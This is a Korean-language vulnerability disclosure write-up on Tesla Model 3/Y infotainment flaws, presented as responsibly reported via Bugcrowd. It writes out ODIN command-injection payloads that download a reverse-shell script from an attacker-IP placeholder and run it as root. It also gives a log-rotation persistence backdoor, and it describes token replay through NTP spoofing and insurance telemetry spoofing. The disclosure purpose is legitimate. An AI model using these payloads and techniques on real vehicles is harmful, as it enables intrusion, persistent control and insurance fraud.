
Tesla Model 3/Y 인포테인먼트 시스템에 대한 취약점 연구. 6개의 취약점, 4개의 CVE (CVE-2022-42005 through CVE-2022-42008). 루트 쉘, 지속적 접근, 보험 텔레메트리 스푸핑.
Tesla Model 3/Y 인포테인먼트 시스템(Intel Atom MCU, Linux 4.14.235)에 대한 취약점 연구로, Bugcrowd를 통해 Tesla에 책임감 있게 제보되었습니다.
생산 중인 Tesla Model 3에서 Tesla의 ODIN 진단 인터페이스의 명령어 주입 취약점을 통해 지속적인 루트 액세스를 획득했습니다(CVE-2022-42008). 그로부터 펌웨어 업데이트 이후에도 지속되는 지속성 방법(CVE-2022-42005, CVE-2022-42006)과 월 보험료를 $130에서 $83으로 직접 낮춘 Safety Score 보험 텔레메트리 스푸핑 방법을 포함한 다섯 가지 추가 취약점을 발견했습니다.
ODIN, hermes, Safety Score에 걸쳐 6개의 취약점. 4개의 CVE. Bugcrowd를 통해 보상 받았으며 Tesla의 SSH 보안 연구원 프로그램에 등록되었습니다.
| 발견 | CVE | 영향 | 상태 | 보상 |
|---|---|---|---|---|
| ODIN을 통한 루트 셸 | CVE-2022-42008 | 명령어 주입을 통한 루트 셸 | 수정됨 (2021.32.10) | Bugcrowd 현상금 |
| 만료된 ODIN 토큰 | CVE-2022-42007 | NTP 스푸핑을 통한 토큰 재사용 | 수정됨 (2021.32.10) | Bugcrowd 현상금 |
| Mothership에 업로드 | — | Tesla 서버로의 임의 파일 업로드 | N/A로 표시 | — |
| 로그 백셸 + DV 액세스 | CVE-2022-42005, CVE-2022-42006 | 펌웨어 업데이트 이후에도 지속되는 액세스 | 수정됨 | Bugcrowd 현상금 |
| 보험 텔레메트리 스푸핑 | — | 스푸핑된 Safety Score로 보험료 인하 | 수정 확인되지 않음 | — |
| Unfuse ODIN | — | 인증 없이 모든 ODIN 작업 수행 | 수정 확인되지 않음 | — |
Tesla Model 3/Y 인포테인먼트 시스템(Intel Atom MCU)은 이 연구에서 식별된 여러 공격 표면을 가진 Linux 기반 OS를 실행합니다.
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
전체 보고서: ODIN을 통한 루트 셸 | 로그 백셸 및 DV 액세스
ODIN 진단 인터페이스는 TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK라는 작업을 노출하며, 이 작업은 MicTest-Input 매개변수(루트로 실행되기 위해 CID_EXEC에 직접 전달되는 문자열 목록)를 허용합니다. 가장 낮은 Toolbox 액세스 수준(tbx-external)을 가진 모든 구독자는 차량의 진단 포트에 연결하고 POST 요청을 보내 이 작업을 트리거할 수 있습니다. 입력 문자열은 그대로 실행되므로 공격은 두 개의 요청으로 이루어집니다. 먼저 curl을 통해 차량에 역방향 셸 스크립트를 다운로드합니다:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
그런 다음 실행합니다:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
루트 셸이 설정되면 svlogd 로그 순환 구성을 하이재킹하여 지속적인 액세스를 얻습니다. 표준 gzip 압축 명령은 로그가 순환될 때마다 log 계정 아래에서 백셸을 여는 스크립트로 대체됩니다:
!sh /var/log/wpa_supplicant/gzip.sh -c
구성 파일은 chattr +i로 불변으로 만들어져 펌웨어 업데이트 후에도 유지됩니다. log 계정은 표준 sdv 명령을 사용하여 데이터 값을 설정할 수 없지만(dbuses 거부함), Tesla의 유휴 prototype_server는 settings.conf를 통해 활성화되면 모든 데이터 값에 대한 제한 없는 웹소켓 액세스를 제공합니다. 맞춤형 셸 스크립트 세트(sdv, lv, send.sh)는 이 서버와 상호 작용하기 위해 웹소켓 클라이언트를 에뮬레이션합니다.
전체 지속성 도구 키트는 차량의 액세스 코드 입력 상자(터치스크린에서 차량 모델을 길게 누르면 표시됨)를 통해 제어되며, 이 상자는 백셸 열기, 데이터 값 설정, 서비스 모드 전환을 포함한 명령을 발송하는 리스너 스크립트에 의해 모니터링됩니다.
Tesla의 ODIN 토큰 생성 엔드포인트는 만료된 tbx-tokens를 허용하며, 결정적으로 응답에 사용자의 tbx-token도 반환하여 공유를 통한 토큰 유출을 가능하게 합니다. 일반적으로 만료된 ODIN 토큰은 차량에 의해 거부되지만, ARP 기반 인터셉션(ntpspoof.py)을 사용하여 차량의 NTP 시간 소스를 스푸핑함으로써 차량이 만료 날짜가 지난 토큰을 수락하도록 속일 수 있습니다. 게이트웨이는 NTP 변조를 감지하지만(GTW_w149_rtcTimeSetInPast) 이 신호에 대해 조치를 취하지 않습니다.
차량의 인증서를 /var/lib/car_creds/에서 사용하여 로컬 머신에서 hermes_proxy 서비스를 시작하면 Tesla의 Mothership 서버에 직접 액세스할 수 있습니다. 프로필 백업 엔드포인트(/vehicles/${VIN}/computer_profile)는 검증 없이 임의의 파일 업로드를 허용합니다. 단일 curl 명령으로 모든 파일을 Tesla의 프로덕션 인프라에 업로드할 수 있습니다. Tesla는 이 발견을 N/A("의도된 대로 작동")로 표시했습니다.
Tesla의 Safety Score 시스템은 MCU에서 주행 텔레메트리를 수집하여 Mothership에 업로드하여 보험료 계산에 사용합니다. 루트 액세스를 통해 완벽한 점수의 텔레메트리 샘플을 캡처하고, 역공학된 스키마(telemetry.proto)를 사용하여 16진수 편집을 통해 protobuf 인코딩된 주행 거리 값을 부풀린 다음 수정된 샘플을 다시 업로드할 수 있습니다. 두 개의 조작된 주행 기록이 Mothership에 수락되었습니다. 하나는 약 3.5시간에 ~2,700마일을 주행한 것으로 표시되어 월 보험료를 $130에서 $83으로 직접 낮췄습니다. 근본적인 문제는 텔레메트리가 (사용자가 액세스 가능한) MCU에서 발생하며, (강화된) APE3 자율주행 장치가 아니라는 점입니다. Tesla는 이 발견에 대해 현상금을 지급하지 않았습니다.
루트 액세스를 통해 /usr/bin/is-fused 위에 가짜 is-fused 스크립트를 바인드 마운트하고 ODIN 서비스를 다시 시작하면 ODIN이 장치가 공장/개발 모드에 있다고 믿게 만듭니다. 이 상태에서는 인증 토큰 없이 모든 ODIN 작업을 실행할 수 있습니다. 여기에는 차량 경보를 비활성화할 수 있는 작업(PROC_ICE_X_SET-DATA-VALUE), VIN을 지우는 작업(PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), 또는 잠재적으로 안전에 중요한 차량 기능을 작동시키는 작업이 포함됩니다.
이 연구는 책임감 있는 보안 연구의 일환으로 수행되었으며 Bugcrowd를 통해 Tesla의 버그 바운티 프로그램에 보고되었습니다. CVE가 할당된 모든 취약점은 현재 펌웨어 버전에서 패치되었습니다. 이 저장소는 교육 목적으로만 게시되었습니다.
이 연구의 결과로 팀은 Bugcrowd를 통해 금전적 현상금을 수여받았으며, 계속된 연구 액세스를 위해 서명된 SSH 인증서를 받아 Tesla의 SSH 보안 연구원 프로그램에 등록되었습니다.
SourceHat Labs Inc.를 대신하여 수행된 연구.
| 도구 | 설명 |
|---|
| ntpspoof.py | ARP 기반 NTP 스푸핑으로 만료된 ODIN 토큰 재사용 (Python/scapy) |
| telemetry.proto | Tesla Safety Score 텔레메트리용 역공학된 protobuf 스키마 (34개 필드) |
| listen.sh | 액세스 코드 상자 명령 리스너 — 터치스크린을 통한 은밀한 명령 인터페이스 |
| sdv | prototype_server 웹소켓을 통해 데이터 값 설정 |
| lv | prototype_server 웹소켓을 통해 데이터 값 가져오기 |
| send.sh | prototype_server 통신을 위한 웹소켓 프레임 구성 |